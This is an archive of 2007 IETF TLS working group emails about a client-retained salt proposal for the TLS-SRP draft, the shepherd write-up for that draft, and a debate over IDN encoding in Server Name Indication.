I believe this is already allowed (in essence), so changes to the
protocol and draft are not needed:

It is perfectly legal for a client-side password-generator to combine a
user-entered password with a stored, shared secret to generate the
actual "SRP password" that is handed to SRP.

I think this accomplishes your goal of strengthening the user-entered
password with a stored secret, and is cleaner, since:
  - it treats the stored secret orthogonally to the SRP salt (i.e., both
can be used)
  - it does not require protocol changes
  - it does not provide additional information to someone watching the
network (whether a client-stored secret is in use or not)


Trevor


> 
> Those who agree with this idea can stop reading now.
> 
> In the protocol specified by the I-D and more generally in SRP, the salt is
> retained by the server and supplied to the client after the client
> identifies itself. However, the salt plays no other role in the server's
> actions. It isn't needed for any server computation during the protocol
> proper and isn't needed in the notional registration phase when the verifier
> is created by the client then transmitted to and stored by the server.
> 
> Server-retained salt in classic SRP has the important practical advantage
> that it is often easier for servers than clients to have stable storage.
> However, withholding salt from servers greatly reduces (eliminates) the
> threat of insider password-guessing attacks.
> 
> SRP users likely will have passwords no stronger and no less shared among
> hosts than in existing password-based systems.  Given this, and that the
> raison d'être of verifier-based systems is to reduce insider attacks,
> client-retained salt may be appropriate for some applications.
> 
> My shamefully perfunctory suggestions for changes to the I-D are below.
> 
> Cheers,
> -Allan
> Allan M. Schiffman ams@commerce.net
> CommerceNet
> 169 University Ave.
> Palo Alto, CA 94301
> +1.650.289.4055
> 
> -------------------------------------------------------------------------
> -------------------------------------------------------------------------
>     Suggested changes to draft-ietf-tls-srp-13
>     accommodating client-retained salt
> 
> First, I note that client-retained salt affects the client/server initial
> registration phase (outside the scope of the I-D).  In the registration
> protocol, the client would inform the server that it commits to retaining
> the salt.
> 
> Add to the end of section 2.2:
>     In a minor departure from SRP, we accommodate applications that withhold
>     the salt from servers by allowing for the zero-length s parameter to be
>     interpreted as "client-retained salt".
> 
> Append to section 2.5.3:
>    The client SHOULD abort the handshake with an "illegal_parameter" alert
>    if it has arranged to use client-retained salt and the length of s is
>    non-zero.
> 
> The first part of section 2.6 should be replaced with:
>    The pre-master secret is calculated by the client as follows:
> 
>         I, P = <read from user>
>         N, g, s, B = <read from server>
>         S = <s if non-zero length, otherwise as retained by client>
>         a = random()
>         A = g^a % N
>         u = SHA1(PAD(A) | PAD(B))
>         k = SHA1(N | PAD(g))
>         x = SHA1(S | SHA1(I | ":" | P))
>         <premaster secret> = (B - (k * g^x)) ^ (a + (u * x)) % N
> 
> Append to section 2.8.2:
>     A zero-length srp_s element indicates that the seed is client-retained.
> -------------------------------------------------------------------------
> 
> _______________________________________________
> TLS mailing list
> TLS@lists.ietf.org
> https://www1.ietf.org/mailman/listinfo/tls
> 



_______________________________________________
TLS mailing list
TLS@lists.ietf.org
https://www1.ietf.org/mailman/listinfo/tls



From tls-bounces@lists.ietf.org Fri Jun 15 18:06:48 2007
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[FIXED TYPO AGAIN, SORRY!]

Allan wrote:
[...]
> I suggest allowing for client-retained salt that is not transmitted as part
> of the protocol.
[...]

Hi Allan,

I believe this is already allowed (in essence), so changes to the
protocol and draft are not needed:

It is perfectly legal for a client-side password-generator to combine a
user-entered password with a stored secret to generate the
actual "SRP password" that is handed to SRP.

I think this accomplishes your goal of strengthening the user-entered
password with a stored secret, and is cleaner, since:
  - it treats the stored secret orthogonally to the SRP salt (i.e., both
can be used)
  - it does not require protocol changes
  - it does not provide additional information to someone watching the
network (whether a client-stored secret is in use or not)


Trevor


> 
> Those who agree with this idea can stop reading now.
> 
> In the protocol specified by the I-D and more generally in SRP, the salt is
> retained by the server and supplied to the client after the client
> identifies itself. However, the salt plays no other role in the server's
> actions. It isn't needed for any server computation during the protocol
> proper and isn't needed in the notional registration phase when the verifier
> is created by the client then transmitted to and stored by the server.
> 
> Server-retained salt in classic SRP has the important practical advantage
> that it is often easier for servers than clients to have stable storage.
> However, withholding salt from servers greatly reduces (eliminates) the
> threat of insider password-guessing attacks.
> 
> SRP users likely will have passwords no stronger and no less shared among
> hosts than in existing password-based systems.  Given this, and that the
> raison d'être of verifier-based systems is to reduce insider attacks,
> client-retained salt may be appropriate for some applications.
> 
> My shamefully perfunctory suggestions for changes to the I-D are below.
> 
> Cheers,
> -Allan
> Allan M. Schiffman ams@commerce.net
> CommerceNet
> 169 University Ave.
> Palo Alto, CA 94301
> +1.650.289.4055
> 
> -------------------------------------------------------------------------
> -------------------------------------------------------------------------
>     Suggested changes to draft-ietf-tls-srp-13
>     accommodating client-retained salt
> 
> First, I note that client-retained salt affects the client/server initial
> registration phase (outside the scope of the I-D).  In the registration
> protocol, the client would inform the server that it commits to retaining
> the salt.
> 
> Add to the end of section 2.2:
>     In a minor departure from SRP, we accommodate applications that withhold
>     the salt from servers by allowing for the zero-length s parameter to be
>     interpreted as "client-retained salt".
> 
> Append to section 2.5.3:
>    The client SHOULD abort the handshake with an "illegal_parameter" alert
>    if it has arranged to use client-retained salt and the length of s is
>    non-zero.
> 
> The first part of section 2.6 should be replaced with:
>    The pre-master secret is calculated by the client as follows:
> 
>         I, P = <read from user>
>         N, g, s, B = <read from server>
>         S = <s if non-zero length, otherwise as retained by client>
>         a = random()
>         A = g^a % N
>         u = SHA1(PAD(A) | PAD(B))
>         k = SHA1(N | PAD(g))
>         x = SHA1(S | SHA1(I | ":" | P))
>         <premaster secret> = (B - (k * g^x)) ^ (a + (u * x)) % N
> 
> Append to section 2.8.2:
>     A zero-length srp_s element indicates that the seed is client-retained.
> -------------------------------------------------------------------------
> 
> _______________________________________________
> TLS mailing list
> TLS@lists.ietf.org
> https://www1.ietf.org/mailman/listinfo/tls
> 




_______________________________________________
TLS mailing list
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From tls-bounces@lists.ietf.org Mon Jun 18 04:20:31 2007
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Subject: RE: [TLS] Encoding of data for Server Name Indication?
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From: <Pasi.Eronen@nokia.com>
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Paul Hoffman wrote:

> >The text in RFC 4366 isn't exactly easy to understand, but the
> >answer seems to be that both work. The client can either use the
> >ToASCII operation (which involves more things than just Punycode
> >encoding, notably Nameprep), or just do Nameprep and send the
> >resulting string as UTF-8.
>=20
> I disagree with Pasi: only ToASCII makes any sense.=20

If the field can't contain anything except ASCII, then why does RFC
4366 specify UTF-8 encoding? Especially the requirement to accept
e.g. U+3002 as label separator doesn't make sense if ToASCII is
required...

> Having the string as non-ASCII makes comparison to the dNSName
> string impossible without doing another conversion.

True -- but this is not specific to TLS: if we have one IDN-unaware=20
domain name slot and another IDN-aware domain name slot, comparing=20
them means some kind of conversion.
=20
> RFC 4366 could have been a bit clearer. Where it says:
>     If the server needs to match the HostName against names that=20
>     contain non-US-ASCII characters, it MUST perform the conversion=20
>     operation described in Section 4 of [IDNA], treating the=20
>     HostName as a "query string" (i.e., the AllowUnassigned
>     flag MUST be set).
> it would have been better to say at the end of the sentence "and=20
> processing the labels with ToASCII in step 4".

There seem to be two sources of confusion here:

First, Section 4 of [IDNA] describes two different conversion
operations (ToASCII and ToUnicode), and it's not totally obvious
which of them is meant here...

Second, "names that contain non-US-ASCII characters" can be interpreted
in two different ways. It's either "character strings that contain=20
non-US-ASCII characters" or "character strings that contain only=20
US-ASCII characters, but if processed via ToUnicode, would contain=20
non-US-ASCII characters".

(With the former interpretation, ToUnicode makes more sense. With
the latter, ToASCII.)

It seems this issue needs to be clarified in the updated extensions
document (probably using RFC3490 terminology of "IDN-unaware"
or "IDN-aware" domain name slot)...

Best regards,
Pasi

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Tim,

On behalf of the TLS working group, I'd like to submit
draft-ietf-tls-srp-14 to AD evaluation, with the goal of=20
publishing it as an Informational RFC.

PROTO Write-Up:

(1.a)  Who is the Document Shepherd for this document?  Has the
       Document Shepherd personally reviewed this version of the
       document and, in particular, does he or she believe this
       version is ready for forwarding to the IESG for publication?

Pasi Eronen. Yes.

(1.b)  Has the document had adequate review both from key WG members
       and from key non-WG members?  Does the Document Shepherd have
       any concerns about the depth or breadth of the reviews that
       have been performed?

The document went through WG last call, and although the number
people who commented the technical details was rather small,
I don't have concerns about the depth or breadth.

(1.c)  Does the Document Shepherd have concerns that the document
       needs more review from a particular or broader perspective,
       e.g., security, operational complexity, someone familiar with
       AAA, internationalization or XML?

No concerns.

(1.d)  Does the Document Shepherd have any specific concerns or
       issues with this document that the Responsible Area Director
       and/or the IESG should be aware of?  For example, perhaps he
       or she is uncomfortable with certain parts of the document, or
       has concerns whether there really is a need for it.  In any
       event, if the WG has discussed those issues and has indicated
       that it still wishes to advance the document, detail those
       concerns here.  Has an IPR disclosure related to this document
       been filed?  If so, please include a reference to the
       disclosure and summarize the WG discussion and conclusion on
       this issue.

This document took quite long to get finished: the -00 version
was posted more than 6 (six) years ago...=20

There are three IPR disclosures that may be relevant:

https://datatracker.ietf.org/public/ipr_detail_show.cgi?&ipr_id=3D25
https://datatracker.ietf.org/public/ipr_detail_show.cgi?&ipr_id=3D31
https://datatracker.ietf.org/public/ipr_detail_show.cgi?&ipr_id=3D63

Basically the only contentious issue was whether this should be=20
on Standards Track or not. A straw poll was held to gauge consensus;
there was no consensus for Standards Track, and thus this document
is now progressing with intended status of Informational.=20

(1.e)  How solid is the WG consensus behind this document?  Does it
       represent the strong concurrence of a few individuals, with
       others being silent, or does the WG as a whole understand and
       agree with it?

Given the amount of comments about technical details, I'd
say the interest is rather limited.

(1.f)  Has anyone threatened an appeal or otherwise indicated extreme
       discontent?  If so, please summarise the areas of conflict in
       separate email messages to the Responsible Area Director.  (It
       should be in a separate email because this questionnaire is
       entered into the ID Tracker.)

Nobody has threatened an appeal or otherwise indicated extreme
discontent.

(1.g)  Has the Document Shepherd personally verified that the
       document satisfies all ID nits?  (See
       http://www.ietf.org/ID-Checklist.html and
       http://tools.ietf.org/tools/idnits/).  Boilerplate checks are
       not enough; this check needs to be thorough.  Has the document
       met all formal review criteria it needs to, such as the MIB
       Doctor, media type and URI type reviews?

Yes.

(1.h)  Has the document split its references into normative and
       informative?  Are there normative references to documents that
       are not ready for advancement or are otherwise in an unclear
       state?  If such normative references exist, what is the
       strategy for their completion?  Are there normative references
       that are downward references, as described in [RFC3967]?  If
       so, list these downward references to support the Area
       Director in the Last Call procedure for them [RFC3967].

References are split into normative and informative; all normative
references look acceptable.

(1.i)  Has the Document Shepherd verified that the document IANA
       consideration section exists and is consistent with the body
       of the document?  If the document specifies protocol
       extensions, are reservations requested in appropriate IANA
       registries?  Are the IANA registries clearly identified?  If
       the document creates a new registry, does it define the
       proposed initial contents of the registry and an allocation
       procedure for future registrations?  Does it suggest a
       reasonable name for the new registry?  See [RFC2434].  If the
       document describes an Expert Review process has Shepherd
       conferred with the Responsible Area Director so that the IESG
       can appoint the needed Expert during the IESG Evaluation?

Everything looks OK here.

(1.j)  Has the Document Shepherd verified that sections of the
       document that are written in a formal language, such as XML
       code, BNF rules, MIB definitions, etc., validate correctly in
       an automated checker?

The only (semi-)formal language used is the TLS presentation=20
language defined in RFC 4346 (the base TLS spec), for which=20
no automated tools are available. I have checked them manually.

(1.k)  The IESG approval announcement includes a Document
       Announcement Write-Up.  Please provide such a Document
       Announcement Write-Up?  Recent examples can be found in the
       "Action" announcements for approved documents.  The approval
       announcement contains the following sections:

Technical Summary

   This document adds Secure Remote Password (SRP) based
   authentication to TLS.=20

Working Group Summary

   This document is a product of the Transport Layer=20
   Security (TLS) Working Group.=20

Document Quality

   There are at least four implementations of earlier=20
   versions of this document.

(end)

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From tls-bounces@lists.ietf.org Mon Jun 18 10:55:36 2007
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Date: Mon, 18 Jun 2007 07:54:41 -0700
To: <Pasi.Eronen@nokia.com>, <bradh@kdelabs.net>, <tls@ietf.org>
From: Paul Hoffman <paul.hoffman@vpnc.org>
Subject: RE: [TLS] Encoding of data for Server Name Indication?
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At 11:19 AM +0300 6/18/07, <Pasi.Eronen@nokia.com> wrote:
>Paul Hoffman wrote:
>
>>  >The text in RFC 4366 isn't exactly easy to understand, but the
>>  >answer seems to be that both work. The client can either use the
>>  >ToASCII operation (which involves more things than just Punycode
>>  >encoding, notably Nameprep), or just do Nameprep and send the
>>  >resulting string as UTF-8.
>>
>>  I disagree with Pasi: only ToASCII makes any sense.
>
>If the field can't contain anything except ASCII, then why does RFC
>4366 specify UTF-8 encoding?

I can't say, I wasn't an author of that document. However, ASCII is a 
proper subset of the UTF-8 encoding. If the RFC had specfied UTF-16, 
for example, that would not be the case.

>Especially the requirement to accept
>e.g. U+3002 as label separator doesn't make sense if ToASCII is
>required...

That is completely incorrect. ToASCII is applied only to *labels*, 
not to an entire domain name.

>  > Having the string as non-ASCII makes comparison to the dNSName
>>  string impossible without doing another conversion.
>
>True -- but this is not specific to TLS: if we have one IDN-unaware
>domain name slot and another IDN-aware domain name slot, comparing
>them means some kind of conversion.

OK, so we agree here.

>
>>  RFC 4366 could have been a bit clearer. Where it says:
>>      If the server needs to match the HostName against names that
>>      contain non-US-ASCII characters, it MUST perform the conversion
>>      operation described in Section 4 of [IDNA], treating the
>>      HostName as a "query string" (i.e., the AllowUnassigned
>>      flag MUST be set).
>>  it would have been better to say at the end of the sentence "and
>>  processing the labels with ToASCII in step 4".
>
>There seem to be two sources of confusion here:
>
>First, Section 4 of [IDNA] describes two different conversion
>operations (ToASCII and ToUnicode), and it's not totally obvious
>which of them is meant here...

Yep. That's why I proposed the change above.

>Second, "names that contain non-US-ASCII characters" can be interpreted
>in two different ways. It's either "character strings that contain
>non-US-ASCII characters" or "character strings that contain only
>US-ASCII characters, but if processed via ToUnicode, would contain
>non-US-ASCII characters".
>
>(With the former interpretation, ToUnicode makes more sense. With
>the latter, ToASCII.)

Fully disagree.

>It seems this issue needs to be clarified in the updated extensions
>document (probably using RFC3490 terminology of "IDN-unaware"
>or "IDN-aware" domain name slot)...

That would be best.

So, implementers of RFC 4366: what have you done so far? Encoded with 
ToASCII or ToUnicode?

--Paul Hoffman, Director
--VPN Consortium

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Subject: RE: [TLS] Encoding of data for Server Name Indication?
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Paul Hoffman wrote:

> >Especially the requirement to accept e.g. U+3002 as label=20
> >separator doesn't make sense if ToASCII is required...
>=20
> That is completely incorrect. ToASCII is applied only to=20
> *labels*, not to an entire domain name.

Yes, but the whole process (going over all the labels) does
include this step:

   5) If ToASCII was applied in step 4 and dots are used as=20
      label separators, change all the label separators=20
      to U+002E (full stop).

If the client does this, the server can't receive a string
with U+3002 separating labels, so the requirement to accept
it doesn't make sense....

Best regards,
Pasi

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From tls-bounces@lists.ietf.org Mon Jun 18 12:54:11 2007
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Date: Mon, 18 Jun 2007 09:53:45 -0700
To: <Pasi.Eronen@nokia.com>, <bradh@kdelabs.net>, <tls@ietf.org>
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Subject: RE: [TLS] Encoding of data for Server Name Indication?
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At 6:29 PM +0300 6/18/07, <Pasi.Eronen@nokia.com> wrote:
>Paul Hoffman wrote:
>
>>  >Especially the requirement to accept e.g. U+3002 as label
>>  >separator doesn't make sense if ToASCII is required...
>>
>>  That is completely incorrect. ToASCII is applied only to
>>  *labels*, not to an entire domain name.
>
>Yes, but the whole process (going over all the labels) does
>include this step:
>
>    5) If ToASCII was applied in step 4 and dots are used as
>       label separators, change all the label separators
>       to U+002E (full stop).
>
>If the client does this, the server can't receive a string
>with U+3002 separating labels, so the requirement to accept
>it doesn't make sense....

It's called being liberal in what you accept. There is no reason to 
fail for the other full-stop characters.

--Paul Hoffman, Director
--VPN Consortium

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>
> So, implementers of RFC 4366: what have you done so far? Encoded with 
> ToASCII or ToUnicode?
>
our code in openssl leaves this to the application.
My code for apache does nothing.

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From tls-bounces@lists.ietf.org Mon Jun 18 13:06:55 2007
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From: Simon Josefsson <simon@josefsson.org>
To: Peter Sylvester <Peter.Sylvester@edelweb.fr>
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	<B356D8F434D20B40A8CEDAEC305A1F240442BA1E@esebe105.NOE.Nokia.com>
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Date: Mon, 18 Jun 2007 19:05:42 +0200
In-Reply-To: <4676B863.5080906@edelweb.fr> (Peter Sylvester's message of "Mon, 
	18 Jun 2007 18:52:51 +0200")
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Cc: Paul Hoffman <paul.hoffman@vpnc.org>, tls@ietf.org
Subject: [TLS] Re: Encoding of data for Server Name Indication?
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Peter Sylvester <Peter.Sylvester@edelweb.fr> writes:

>>
>> So, implementers of RFC 4366: what have you done so far? Encoded
>> with ToASCII or ToUnicode?
>>
> our code in openssl leaves this to the application.

It is the same in gnutls, the application can set any character string
and it will be sent unprocessed.

  typedef enum
  {
    GNUTLS_NAME_DNS = 1
  } gnutls_server_name_type_t;

  int gnutls_server_name_set (gnutls_session_t session,
			      gnutls_server_name_type_t type,
			      const void *name, size_t name_length);

/Simon

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From tls-bounces@lists.ietf.org Mon Jun 18 15:21:22 2007
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Subject: Re: [TLS] Re: Encoding of data for Server Name Indication?
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Simon Josefsson wrote:
> Peter Sylvester <Peter.Sylvester@edelweb.fr> writes:
> 
>>> So, implementers of RFC 4366: what have you done so far? Encoded
>>> with ToASCII or ToUnicode?
>>>
>> our code in openssl leaves this to the application.
> 
> It is the same in gnutls, the application can set any character string
> and it will be sent unprocessed.

Likewise for NSS.  Any UTF8 string (or ASCII, since it's a subset) will
be accepted and sent as-is.

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From: Mike <mike-list@pobox.com>
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Subject: Re: [TLS] Re: Encoding of data for Server Name Indication?
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Nelson B Bolyard wrote:
> Simon Josefsson wrote:
>> Peter Sylvester <Peter.Sylvester@edelweb.fr> writes:
>>
>>>> So, implementers of RFC 4366: what have you done so far? Encoded
>>>> with ToASCII or ToUnicode?
>>>>
>>> our code in openssl leaves this to the application.
>> It is the same in gnutls, the application can set any character string
>> and it will be sent unprocessed.
> 
> Likewise for NSS.  Any UTF8 string (or ASCII, since it's a subset) will
> be accepted and sent as-is.

My client code also accepts any character string and sends it as
is.  The server does not perform ToASCII before comparing it to
the name in the certificate.  I have since implemented the ToASCII
and ToUnicode functions, so it wouldn't be difficult to change;
however, the server name extension has been around for 4 years, so
sending ToUnicode strings might break existing servers.

Mike

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From: Brad Hards <bradh@kdelabs.net>
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Subject: Re: [TLS] Re: Encoding of data for Server Name Indication?
Date: Tue, 19 Jun 2007 09:35:09 +1000
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On Tuesday 19 June 2007 05:38, Mike wrote:
> My client code also accepts any character string and sends it as
> is.  The server does not perform ToASCII before comparing it to
> the name in the certificate.  I have since implemented the ToASCII
> and ToUnicode functions, so it wouldn't be difficult to change;
> however, the server name extension has been around for 4 years, so
> sending ToUnicode strings might break existing servers.
OK, now I'm confused.

If the server is using an internationalised name and the name in the 
certificate is encoded (which I understand it needs to be), then won't this 
always fail to match?

I'm not so much concerned with what the libraries do - more in what the 
application code should do.

Brad

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Date: Mon, 18 Jun 2007 16:57:25 -0700
To: Brad Hards <bradh@kdelabs.net>, tls@lists.ietf.org
From: Paul Hoffman <paul.hoffman@vpnc.org>
Subject: Re: [TLS] Re: Encoding of data for Server Name Indication?
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At 9:35 AM +1000 6/19/07, Brad Hards wrote:
>On Tuesday 19 June 2007 05:38, Mike wrote:
>>  My client code also accepts any character string and sends it as
>>  is.  The server does not perform ToASCII before comparing it to
>>  the name in the certificate.  I have since implemented the ToASCII
>>  and ToUnicode functions, so it wouldn't be difficult to change;
>>  however, the server name extension has been around for 4 years, so
>>  sending ToUnicode strings might break existing servers.
>OK, now I'm confused.
>
>If the server is using an internationalised name and the name in the
>certificate is encoded (which I understand it needs to be), then won't this
>always fail to match?

It is not clear what you meant by "encoded". IDNs in PKIX 
certificates are given in their ToASCII format. See 
draft-ietf-pkix-rfc3280bis-08.txt, section 7.

--Paul Hoffman, Director
--VPN Consortium

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From: Brad Hards <bradh@kdelabs.net>
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Subject: Re: [TLS] Re: Encoding of data for Server Name Indication?
Date: Tue, 19 Jun 2007 10:27:34 +1000
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On Tuesday 19 June 2007 09:57, Paul Hoffman wrote:
> >If the server is using an internationalised name and the name in the
> >certificate is encoded (which I understand it needs to be), then won't
> > this always fail to match?
>
> It is not clear what you meant by "encoded". IDNs in PKIX
> certificates are given in their ToASCII format. See
> draft-ietf-pkix-rfc3280bis-08.txt, section 7.
Sorry, I'll try to be clearer.

If I have an internationalised domain name, then the certificate for that 
domain will have the domain name in a (basically) ACE encoded format. The 
human user on the client side is presumably going to use UTF8 or perhaps 
UTF16 to specify the host they want to connect to.

Which part of the system is responsible for making sure that the host name and 
the server certificate match?

Brad

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From tls-bounces@lists.ietf.org Mon Jun 18 20:39:42 2007
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Date: Mon, 18 Jun 2007 17:39:20 -0700
To: Brad Hards <bradh@kdelabs.net>
From: Paul Hoffman <paul.hoffman@vpnc.org>
Subject: Re: [TLS] Re: Encoding of data for Server Name Indication?
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At 10:27 AM +1000 6/19/07, Brad Hards wrote:
>If I have an internationalised domain name, then the certificate for that
>domain will have the domain name in a (basically) ACE encoded format.

Correct.

>The
>human user on the client side is presumably going to use UTF8 or perhaps
>UTF16 to specify the host they want to connect to.

Correct, but unpredictably so. They type something into a text field 
in the chrome web browser. They click on a link. They run a program 
that has host names in it. And so on.

>Which part of the system is responsible for making sure that the host name and
>the server certificate match?

The TLS implementation.

--Paul Hoffman, Director
--VPN Consortium

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Paul Hoffman <paul.hoffman@vpnc.org> writes:

>>Which part of the system is responsible for making sure that the host name and
>>the server certificate match?
>
> The TLS implementation.

I'd be happy to change my implementation if there is consensus about
what RFC 4366 is intended to imply, or if an updated document is
published.  I haven't understood yet whether there is consensus about
what the text in RFC 4366 really should imply in practice?

One approach is for the server to apply ToASCII on each label of both
what's in the certificate and what's in the SNI, concatenate them using
ASCII '.' and compare the result using strcmp() (in the C locale..).

/Simon

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Subject: RE: [TLS] Encoding of data for Server Name Indication?
Date: Tue, 19 Jun 2007 12:57:20 +0300
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From: <Pasi.Eronen@nokia.com>
To: <Peter.Sylvester@edelweb.fr>, <tls@ietf.org>, <paul.hoffman@vpnc.org>
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Peter Sylvester wrote:

> our code in openssl leaves this to the application.
> My code for apache does nothing.

This seems to violate a MUST in RFC 4366, no matter which=20
way you interprete it.

And re-reading RFC 3490, I'm starting to (partly) agree with Paul
here: the requirement for the server does indeed refer to ToASCII,
not ToUnicode (as I thought earlier).

In other words: when the server compares server_name with something
else, it MUST process it with the "conversion operation (with
ToASCII)" from Section 4.  It might also need to process the
"something else" the same way (depending on where it came from);=20
and finally it does a case-insensitive ASCII comparison.

But the result for the client seems to remain the same: it=20
can either send ToASCII-encoded name, or just Nameprep+UTF-8.
Right?

(But if the client also does comparisons with the name, the
comparisons have to be done with ToASCII'd-forms.)

Best regards,
Pasi

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Pasi.Eronen@nokia.com wrote:
> Peter Sylvester wrote:
>
>   
>> our code in openssl leaves this to the application.
>> My code for apache does nothing.
>>     
>
> This seems to violate a MUST in RFC 4366, no matter which 
> way you interprete it.
>   
Probably, since I don't known whether the apache bases
code for comparisons for server names do any kind of
conversion. Probably apache needs a patch but not openssl.


> And re-reading RFC 3490, I'm starting to (partly) agree with Paul
> here: the requirement for the server does indeed refer to ToASCII,
> not ToUnicode (as I thought earlier).
>
> In other words: when the server compares server_name with something
> else, it MUST process it with the "conversion operation (with
> ToASCII)" from Section 4.  It might also need to process the
> "something else" the same way (depending on where it came from); 
> and finally it does a case-insensitive ASCII comparison.
>
> But the result for the client seems to remain the same: it 
> can either send ToASCII-encoded name, or just Nameprep+UTF-8.
> Right?
>
> (But if the client also does comparisons with the name, the
> comparisons have to be done with ToASCII'd-forms.)
>
> Best regards,
> Pasi
>
>   


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From: Peter Sylvester <Peter.Sylvester@edelweb.fr>
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Pasi.Eronen@nokia.com wrote:
>
> (1.e)  How solid is the WG consensus behind this document?  Does it
>        represent the strong concurrence of a few individuals, with
>        others being silent, or does the WG as a whole understand and
>        agree with it?
>
> Given the amount of comments about technical details, I'd
> say the interest is rather limited.
>
>   

The document is essentially stable since 3 years, before that there had
been discussions among the implementors, and some important
improvements.

I don't claim that the existence of at least 4 different implementations
which interoperated about 3 years ago is a sign of big interest.

There have been critiques about the status of the document,
in particular motivated by IMO irrelevant IPR issues. Or,
at least that was the argument.
When taking their comments as serious in the consensus process,
did you assume that they have read the document and agree
with the technical content? :-)

regards
Peter




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From tls-bounces@lists.ietf.org Tue Jun 19 09:43:36 2007
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Subject: Re: [TLS] Re: Encoding of data for Server Name Indication?
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> On Tuesday 19 June 2007 05:38, Mike wrote:
>> My client code also accepts any character string and sends it as
>> is.  The server does not perform ToASCII before comparing it to
>> the name in the certificate.

After re-reading RFC 4366, I think that I should be using ToASCII
in the server.  The client can probably still send whatever it is
given, by requiring that the application provide a valid IDN in
UTF-8.

Mike

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From tls-bounces@lists.ietf.org Tue Jun 19 10:18:08 2007
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Peter Sylvester wrote:
> 
> There have been critiques about the status of the document,
> in particular motivated by IMO irrelevant IPR issues. Or,
> at least that was the argument.
> When taking their comments as serious in the consensus process,
> did you assume that they have read the document and agree
> with the technical content? :-)

I can only speak for myself:
I do have a very strong opinion about the document status because
of the IPR issue, and at the same time I consider this technology
completely irrelevant for my entire company and the product(s) we ship
so that I want to leave discussion of the technical details of this
spec entirely to those parties that are interested.


The two camps that are likely to produce technical feedback are
(a) implementors and (b) people who are seriously considering
using the technology or are already doing so.


Maybe it is (as I've mentioned before) that we've been succuessfully
using SSL client certs for the last and prefer to push this technology.
It is much easier for the backends to (continue to) deal with
authentication based on client certificates that having to add
yet another password-based authentication to a distributed system.

-Martin

_______________________________________________
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https://www1.ietf.org/mailman/listinfo/tls



From tls-bounces@lists.ietf.org Tue Jun 19 10:25:09 2007
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From: Martin Rex <Martin.Rex@sap.com>
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Subject: Re: [TLS] Re: Encoding of data for Server Name Indication?
To: paul.hoffman@vpnc.org (Paul Hoffman)
Date: Tue, 19 Jun 2007 16:24:46 +0200 (MEST)
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Paul Hoffman wrote:
> 
> At 10:27 AM +1000 6/19/07, Brad Hards wrote:
> >If I have an internationalised domain name, then the certificate for that
> >domain will have the domain name in a (basically) ACE encoded format.
> 
> Correct.
> 
> >The
> >human user on the client side is presumably going to use UTF8 or perhaps
> >UTF16 to specify the host they want to connect to.
> 
> Correct, but unpredictably so. They type something into a text field 
> in the chrome web browser. They click on a link. They run a program 
> that has host names in it. And so on.
> 
> >Which part of the system is responsible for making sure that the host name and
> >the server certificate match?
> 
> The TLS implementation.

I violently disagree.

The TLS implementation has nothing to do with the concept of
Endpoint identification employed by HTTP over SSL/TLS.
This endpoint identification is the task of some other middleware
layer above TLS.


But aside from this, I wonder whether it is appropriate
to compare the name in the certificate to the hostname as
it is passed to a traditional implementation of gethostbyname().


-Martin

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>>     
>>> Which part of the system is responsible for making sure that the host name and
>>> the server certificate match?
>>>       
>> The TLS implementation.
>>     
>
> I violently disagree.
>
> The TLS implementation has nothing to do with the concept of
> Endpoint identification employed by HTTP over SSL/TLS.
> This endpoint identification is the task of some other middleware
> layer above TLS.
>   
I share your disagreement.
The TLS implementation might not even know to host it is
actually talking for example if it is implemented like filter where you
just put a connected network file descriptor under it.
>
> But aside from this, I wonder whether it is appropriate
> to compare the name in the certificate to the hostname as
> it is passed to a traditional implementation of gethostbyname().
>   
I think your question is somewhat unprecise. :-)

>
> -Martin
>
> _______________________________________________
> TLS mailing list
> TLS@lists.ietf.org
> https://www1.ietf.org/mailman/listinfo/tls
>
>   


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--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts 
directories.
This draft is a work item of the Transport Layer Security Working Group of the IETF.

	Title		: RSA based AES-GCM Cipher Suites for TLS
	Author(s)	: J. Salowey, et al.
	Filename	: draft-ietf-tls-rsa-aes-gcm-00.txt
	Pages		: 9
	Date		: 2007-6-19
	
   This memo describes the use of the Advanced Encryption Standard (AES)
   in Galois/Counter Mode (GCM) as a Transport Layer Security (TLS)
   authenticated encryption operation.  GCM provides both
   confidentiality and data origin authentication, can be efficiently
   implemented in hardware for speeds of 10 gigabits per second and
   above, and is also well-suited to software implementations.  This
   memo defines TLS ciphersuites that use AES-GCM with RSA.


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From tls-bounces@lists.ietf.org Tue Jun 19 17:54:36 2007
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From: Nelson B Bolyard <nelson@bolyard.com>
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Subject: Re: [TLS] Re: Encoding of data for Server Name Indication?
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Martin Rex wrote:
> Paul Hoffman wrote:
>> At 10:27 AM +1000 6/19/07, Brad Hards wrote:
>>> If I have an internationalised domain name, then the certificate for that
>>> domain will have the domain name in a (basically) ACE encoded format.
>>
>> Correct.
>>
>>> The human user on the client side is presumably going to use UTF8 or
>>> perhaps UTF16 to specify the host they want to connect to.
>>
>> Correct, but unpredictably so. They type something into a text field 
>> in the chrome web browser. They click on a link. They run a program 
>> that has host names in it. And so on.
>>
>>> Which part of the system is responsible for making sure that the host
>>> name and the server certificate match?

>> The TLS implementation.
> 
> I violently disagree.

I also disagree.  The TLS RFC disagree, too, IMO.

> The TLS implementation has nothing to do with the concept of
> Endpoint identification employed by HTTP over SSL/TLS.
> This endpoint identification is the task of some other middleware
> layer above TLS.

RFC 2246 says:

   The TLS standard, however, does not specify how
   protocols add security with TLS; the decisions on [...]
   how to interpret the authentication certificates
   exchanged are left up to the judgment of the designers and
   implementors of protocols which run on top of TLS.
                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

RFC 2246, in section D.3, and RFC 4346, in section d.2, say

   Implementations are responsible for verifying the integrity of
   certificates and should generally support certificate revocation
   messages.

But they say nothing about how the end point decides if the certificate
identifies the desired peer end point, or not.  And clearly this depends
on the protocol running atop TLS.

The widely used technique of comparing host names with fields in the
cert is defined in section 3.1 of Eric's Informational RFC 2818, which
defines https.  But that RFC also explains that other techniques may
be appropriate in some cases, the and explicitly provides:

   If the client has external information as to the expected identity of
   the server, the hostname check MAY be omitted.

Speaking for one implementation, NSS: we provide a function that
implements the technique of RFC 2818, as a convenience to higher layer
applications, such as https, to decide if a cert is or is not the
intended one, after it has been verified.  Applications are free to use
it, or not, as they see fit.

/Nelson

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From tls-bounces@lists.ietf.org Tue Jun 19 18:25:10 2007
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Date: Tue, 19 Jun 2007 15:23:48 -0700
From: Eric Rescorla <ekr@networkresonance.com>
To: Nelson B Bolyard <nelson@bolyard.com>
Subject: Re: [TLS] Re: Encoding of data for Server Name Indication?
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At Tue, 19 Jun 2007 14:54:08 -0700,
